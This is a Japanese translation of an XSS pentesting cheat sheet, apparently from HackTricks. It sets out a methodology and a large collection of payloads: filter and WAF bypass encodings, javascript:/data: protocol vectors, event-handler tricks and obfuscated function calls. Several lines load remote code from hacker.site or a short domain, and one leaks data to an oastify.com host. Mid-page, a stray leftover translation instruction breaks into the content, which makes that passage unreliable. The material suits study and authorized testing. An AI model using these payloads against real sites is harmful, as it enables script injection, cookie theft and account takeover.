.. | ||
abusing-service-workers.md | ||
chrome-cache-to-xss.md | ||
debugging-client-side-js.md | ||
dom-clobbering.md | ||
dom-invader.md | ||
dom-xss.md | ||
iframes-in-xss-and-csp.md | ||
js-hoisting.md | ||
other-js-tricks.md | ||
pdf-injection.md | ||
README.md | ||
server-side-xss-dynamic-pdf.md | ||
shadow-dom.md | ||
sniff-leak.md | ||
some-same-origin-method-execution.md | ||
steal-info-js.md | ||
xss-in-markdown.md | ||
xss-tools.md |
XSS (クロスサイトスクリプティング)
/
バグバウンティのヒント: Intigritiに登録しましょう。ハッカーによって作られたプレミアムなバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
方法論
- 制御できる値(パラメーター、パス、ヘッダー?、クッキー?)がHTMLに反映されているか、またはJSコードによって使用されているかを確認します。
- 反映/使用されているコンテキストを見つけます。
- 反映されている場合:
- 使用できる記号を確認し、それに応じてペイロードを準備します:
- 生のHTMLで:
- 新しいHTMLタグを作成できますか?
javascript:
プロトコルをサポートするイベントや属性を使用できますか?- 保護をバイパスできますか?
- クライアントサイドのJSエンジン(AngularJS、VueJS、Mavo...)によってHTMLコンテンツが解釈されている場合、クライアントサイドテンプレートインジェクションを悪用できる可能性があります。
- JSコードを実行するHTMLタグを作成できない場合、ダングリングマークアップ - HTMLスクリプトレスインジェクションを悪用できますか?
- HTMLタグ内で:
- 生のHTMLコンテキストに出ることができますか?
- JSコードを実行する新しいイベント/属性を作成できますか?
- あなたが閉じ込められている属性はJS実行をサポートしていますか?
- 保護をバイパスできますか?
- JavaScriptコード内で:
<script>
タグから脱出できますか?- 文字列から脱出して異なるJSコードを実行できますか?
- 入力はテンプレートリテラル``にありますか?
- 保護をバイパスできますか?
- 生のHTMLで:
- 実行されているJavascript 関数:
- 実行する関数の名前を指定できます。例:
?callback=alert(1)
- 実行する関数の名前を指定できます。例:
- 使用できる記号を確認し、それに応じてペイロードを準備します:
- 使用されている場合:
- DOM XSSを悪用することができます。入力がどのように制御されているか、および制御された入力が任意のシンクによって使用されているかに注意してください。
複雑なXSSに取り組む際には、以下について知っておくと役立つかもしれません:
{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}
反映された値
XSSを成功させるためには、まずあなたが制御できる値がウェブページに反映されていることを見つける必要があります。
- 中間的に反映される:パラメーターの値やパスがウェブページに反映されていることがわかった場合、Reflected XSSを悪用できる可能性があります。
- 保存されて反映される:あなたが制御できる値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、Stored XSSを悪用できる可能性があります。
- JS経由でアクセスされる:あなたが制御できる値がJSを使用してアクセスされていることがわかった場合、DOM XSSを悪用できる可能性があります。
コンテキスト
XSSを悪用しようとするとき、まず知る必要があるのは入力がどこに反映されているかです。コンテキストに応じて、異なる方法で任意のJSコードを実行できます。
生のHTML
入力が生のHTMLページに反映されている場合、JSコードを実行するためにいくつかのHTMLタグを悪用する必要があります:<img , <iframe , <svg , <script
... これらは使用可能な多くのHTMLタグの一部に過ぎません。
また、クライアントサイドテンプレートインジェクションも念頭に置いてください。
HTMLタグ属性内
入力がタグの属性の値の内部に反映されている場合、次のことを試すことができます:
- 属性とタグから脱出し(その後、生のHTMLになります)、悪用するための新しいHTMLタグを作成します:
"><img [...]
- 属性から脱出できるが、タグからは脱出できない場合(
>
がエンコードされているか削除されている)、タグに応じてJSコードを実行するイベントを作成できます:" autofocus onfocus=alert(1) x="
- 属性から脱出できない場合(
"
がエンコードされているか削除されている)、値が反映されているどの属性によって、値の全体を制御しているか、一部だけを制御しているかに応じて、それを悪用できます。例として、onclick=
のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深い例は、href
属性で、javascript:
プロトコルを使用して任意のコードを実行できます:href="javascript:alert(1)"
- 入力が「悪用できないタグ」内に反映されている場合、
accesskey
トリックを試して脆弱性を悪用できます(これを悪用するにはある種のソーシャルエンジニアリングが必要になります):" accesskey="x" onclick="alert(1)" x="
JavaScriptコード内
この場合、入力はHTMLページの <script> [...] </script>
タグの間、.js
ファイル内、または**javascript:
**プロトコルを使用する属性内に反映されています:
<script> [...] </script>
タグの間に反映されている場合、入力がどのような引用符の中にあっても、</script>
を注入してこのコンテキストから脱出することができます。これは、ブラウザが最初にHTMLタグを解析し、その後で内容を解析するため、注入した</script>
タグがHTMLコードの内部にあることに気づかないからです。- JS文字列内に反映されていて、最後のトリックが機能しない場合、文字列から脱出し、コードを実行し、JSコードを再構築する必要があります(エラーがあると実行されません):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- テンプレートリテラル内に反映されている場合、
${ ... }
構文を使用してJS式を埋め込むことができます:var greetings = `Hello, ${alert(1)}`
- Unicodeエンコードは、有効なjavascriptコードを書くために機能します:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
Javascript Hoisting
Javascript Hoistingは、使用された後で関数、変数、またはクラスを宣言する機会を指し、宣言されていない変数や関数を使用しているXSSを悪用するシナリオを利用できます。
詳細については、次のページをご覧ください:
{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}
Javascript 関数
いくつかのウェブページには、実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。一般的な例としては、?callback=callbackFunc
のようなものがあります。
ユーザーが直接提供した何かが実行しようとしているかを知る良い方法は、パラメータ値を変更すること(例えば'Vulnerable'に)であり、エラーがコンソールに表示されるかどうかを確認します:
もし脆弱であれば、?callback=alert(1)
の値を送信するだけでアラートをトリガーすることができるかもしれません。しかし、このエンドポイントは通常、文字、数字、ドット、アンダースコア([\w\._]
)のみを許可するために内容を検証します。
それでも、その制限があってもいくつかのアクションを実行することは可能です。これは、有効な文字を使用してDOM内の任意の要素にアクセスできるためです:
これに役立つ関数は以下の通りです:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
以下のテキストは、ハッキング技術に関する本からのものです。関連する英語テキストを日本語に翻訳し、同じマークダウンおよびHTML構文を保持して翻訳を返してください。コード、ハッキング技術名、ハッキング用語、クラウド/SaaSプラットフォーム名(Workspace、aws、gcpなど)、'leak'という単語、pentesting、およびマークダウンタグなどは翻訳しないでください。また、翻訳とマークダウン構文以外の余分なものは追加しないでください。
JavaScript関数を直接トリガーすることもできます:obj.sales.delOrders
。
しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。同じオリジンの他のページには、より多くのアクションを実行するためのより興味深いDOMがあります。
したがって、異なるDOMでこの脆弱性を悪用するために、Same Origin Method Execution (SOME) の悪用が開発されました:
{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}
DOM
JSコードが、location.href
のような攻撃者によって制御されたデータを安全でない方法で使用しています。攻撃者はこれを悪用して任意のJSコードを実行する可能性があります。
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Universal XSS
この種のXSSはどこにでも見つかる可能性があります。これらは、Webアプリケーションのクライアントの悪用にのみ依存するのではなく、任意の コンテキストに依存します。この種の任意のJavaScript実行は、RCEを取得したり、クライアントとサーバーで任意の ファイルを読むなど、さらに悪用される可能性があります。
いくつかの例:
{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}
WAFバイパスエンコーディング画像
生のHTML内への注入
入力がHTMLページ内に反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、<
を使用して新しいタグを作成できるかどうかを確認することです:その文字がHTMLエンコードされているか、削除されているか、または変更なしに反映されているかを確認するために、単に反映してみてください。最後のケースのみが、このケースを悪用できる場合です。
この場合も、Client Side Template Injectionに注意してください。
注:HTMLコメントは** -->
または --!>
**を使用して閉じることができます
この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかをブルートフォースする必要があります。 許可されているタグを特定したら、コンテキストを攻撃する方法を見つけるために、有効なタグ内の属性/イベントをブルートフォースする必要があります。
タグ/イベントのブルートフォース
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet にアクセスし、タグをクリップボードにコピー をクリックします。次に、Burp Intruderを使用してすべてを送信し、WAFによって悪意のあるものとして検出されなかったタグがあるかどうかを確認します。使用できるタグを発見したら、有効なタグを使用してすべてのイベントをブルートフォースできます(同じウェブページで イベントをクリップボードにコピー をクリックし、前と同じ手順を実行します)。
カスタムタグ
有効なHTMLタグが見つからない場合、カスタムタグを作成し、onfocus
属性でJSコードを実行しようとすることができます。XSSリクエストでは、URLの最後に #
を付けて、ページがそのオブジェクトにフォーカスし、コードを実行するようにします。
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
ブラックリストバイパス
ブラックリストが使用されている場合、いくつかの簡単なトリックでバイパスを試みることができます:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (small XSSs)
{% hint style="info" %} さまざまな環境に対するより小さなXSS ペイロードはこちらで見つけることができます、またこちらでも。 {% endhint %}
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
最後のものは、2つのユニコード文字を使用して5つに展開します:telsr
これらの文字の詳細はこちらで見つけることができます。
どの文字に分解されるかを確認するには、こちらをチェックしてください。
クリックXSS - クリックジャッキング
脆弱性を悪用するためにユーザーがリンクや事前に入力されたデータがあるフォームをクリックする必要がある場合、クリックジャッキングを悪用することを試みることができます(ページが脆弱である場合)。
不可能 - ダングリングマークアップ
HTMLタグを作成してJSコードを実行する属性を持つことが不可能だと思う場合は、ダングリングマークアップをチェックするべきです。なぜなら、JS コードを実行せずに脆弱性を悪用することができるからです。
HTMLタグ内への注入
タグ内/属性値からの脱出
HTMLタグ内にいる場合、最初に試すことができるのは、タグから脱出し、前のセクションで述べた技術のいくつかを使用してJSコードを実行することです。
タグから脱出できない場合は、タグ内に新しい属性を作成してJSコードを実行しようとすることができます。例えば、次のようなペイロードを使用します(この例では、属性から脱出するためにダブルクォートが使用されていますが、入力が直接タグ内に反映される場合はそれらは必要ありません):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
スタイルイベント
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
属性内部
属性から脱出できない場合でも("
がエンコードされているか削除されている)、どの属性に値が反映されているか、値の全てを制御しているか一部だけかによって、それを悪用することができます。例えば、onclick=
のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。
もう一つの興味深い例は、href
属性で、javascript:
プロトコルを使用して任意のコードを実行することができます:href="javascript:alert(1)"
HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス
HTMLタグ属性の値内のHTMLエンコードされた文字は実行時にデコードされます。したがって、以下のようなものが有効になります(ペイロードは太字です):<a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
あらゆる種類のHTMLエンコードが有効です:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
URLエンコードも機能することに注意してください:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
イベント内のバイパスにUnicodeエンコードを使用
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
属性内の特別なプロトコル
属性内では、javascript:
や data:
といったプロトコルを使用して、任意のJSコードを実行することができます。一部はユーザーの操作を必要とし、他の一部は必要としません。
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
これらのプロトコルを注入できる場所
一般的に、javascript:
プロトコルは href
属性を受け入れるすべてのタグ と、src
属性を受け入れるタグのほとんどで使用できます(ただし <img
は除く)。
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
その他の難読化のテクニック
この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。なぜなら、属性の内部にいるからです。
<a href="javascript:var a=''-alert(1)-''">
さらに、これらのケースには別の便利なトリックがあります:javascript:...
内の入力がURLエンコードされていても、実行される前にURLデコードされます。 そのため、シングルクォートを使用して文字列から脱出する必要があり、それがURLエンコードされているのを見た場合、それは問題ではありません。 実行時にはシングルクォートとして解釈されます。
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
両方を使用する URLencode + HTMLencode
をどの順序であれ、ペイロードをエンコードしようとすると、機能しませんが、ペイロード内でそれらを混在させることはできます。
javascript:
での Hex と Octal エンコードの使用
iframe
の src
属性内で Hex と Octal エンコード を使用して、HTML タグを宣言し JS を実行することができます:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
リバースタブナビング
<a target="_blank" rel="opener"
任意の <a href=
タグにURLを注入できる場合で、target="_blank" と rel="opener"
属性が含まれている場合は、この挙動を利用するための以下のページを確認してください:
{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}
イベントハンドラーのバイパスについて
まず、有用な "on" イベントハンドラー についてはこのページ (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) を確認してください。
もし何らかのブラックリストがイベントハンドラーの作成を防いでいる場合は、以下のバイパスを試してみることができます:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
"利用できないタグ"でのXSS(hidden input、link、canonical、meta)
こちらから、hidden inputsを悪用することが可能になりました:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>
メタタグ内で:
<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
こちらから: 隠された属性内でXSSペイロードを実行することができますが、そのためには被害者にキーの組み合わせを押させることを説得する必要があります。Firefox Windows/Linuxではキーの組み合わせはALT+SHIFT+Xで、OS XではCTRL+ALT+Xです。access key属性で異なるキーを指定することで、異なるキーの組み合わせを指定することができます。こちらがベクターです:
<input type="hidden" accesskey="X" onclick="alert(1)">
XSSペイロードは次のようになります:" accesskey="x" onclick="alert(1)" x="
ブラックリストバイパス
このセクション内ですでにさまざまなエンコーディングを使用したトリックが公開されています。戻って、以下の使用方法を学びましょう:
- HTMLエンコーディング(HTMLタグ)
- Unicodeエンコーディング(有効なJSコードになり得る):
\u0061lert(1)
- URLエンコーディング
- 16進数および8進数エンコーディング
- データエンコーディング
HTMLタグと属性のバイパス
JavaScriptコードのバイパス
次のセクションのJavaScriptバイパスブラックリストを読む。
CSSガジェット
もしXSSを非常に小さな部分で見つけた場合、何らかのインタラクションが必要な場合(例えば、onmouseover要素を持つフッターの小さなリンクなど)、その要素が占めるスペースを変更してリンクが発火する確率を最大化することができます。
例えば、次のようなスタイリングを要素に追加できます:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
しかし、WAFがstyle属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、
.test {display:block; color: blue; width: 100%}
と
#someid {top: 0; font-family: Tahoma;}
が見つかった場合、リンクを次の形に変更できます
<a href=”” id=someid class=test onclick=alert() a=””>
このトリックはhttps://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703から取られました。
JavaScriptコード内への注入
これらのケースでは、入力が.js
ファイルのJSコード内、または<script>...</script>
タグの間、またはJSコードを実行できるHTMLイベントの間、またはjavascript:
プロトコルを受け入れる属性の間で反映されることになります。
<script>タグのエスケープ
もしコードが<script> [...] var input = 'reflected data' [...] </script>
内に挿入されている場合、簡単に<script>
タグをエスケープできます:
</script><img src=1 onerror=alert(document.domain)>
JSコード内
<>
がサニタイズされている場合でも、入力が配置されている文字列からエスケープし、任意のJSを実行することができます。JSの構文を修正することが重要です。エラーがある場合、JSコードは実行されません:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
テンプレートリテラル `
文字列を構築するために、JSはシングルクォートとダブルクォートの他にバックティック ``
も受け入れます。これはテンプレートリテラルとして知られており、${ ... }
構文を使用してJS式を埋め込むことができます。
したがって、入力がバックティックを使用するJS文字列内で反映されていることがわかった場合、${ ... }
構文を悪用して任意のJSコードを実行することができます:
これは以下を使用して悪用できます:
`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````
エンコードされたコード実行
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Unicodeを使用したJS実行
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
JavaScript ブラックリスト回避技術
文字列
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
特別なエスケープ
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself
JSコード内のスペース置換
<TAB>
/**/
JavaScriptコメント( JavaScriptコメント トリックより)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScriptの改行(JavaScriptの改行 のトリックから)
//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
JavaScriptの空白文字
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
コメント内のJavascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
括弧なしのJavaScript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
任意の関数(alert)の呼び出し
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM 脆弱性
攻撃者が制御するデータを安全でない方法で使用している JS コード があります。例えば location.href
です。攻撃者はこれを悪用して任意の JS コードを実行する可能性があります。
DOM 脆弱性の説明が広範囲にわたるため、このページに移動しました:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
ここでは、DOM 脆弱性が何であるか、どのように引き起こされるか、そしてどのように悪用されるかについての詳細な説明を見つけることができます。
また、該当する投稿の最後には、DOM Clobbering 攻撃についての説明があることを忘れないでください。
その他のバイパス
正規化されたユニコード
反映された値がサーバー側(またはクライアント側)でユニコード正規化されているかどうかを確認し、この機能を悪用して保護をバイパスすることができます。ここで例を見つけてください。
PHP FILTER_VALIDATE_EMAIL フラグのバイパス
"><svg/onload=confirm(1)>"@x.y
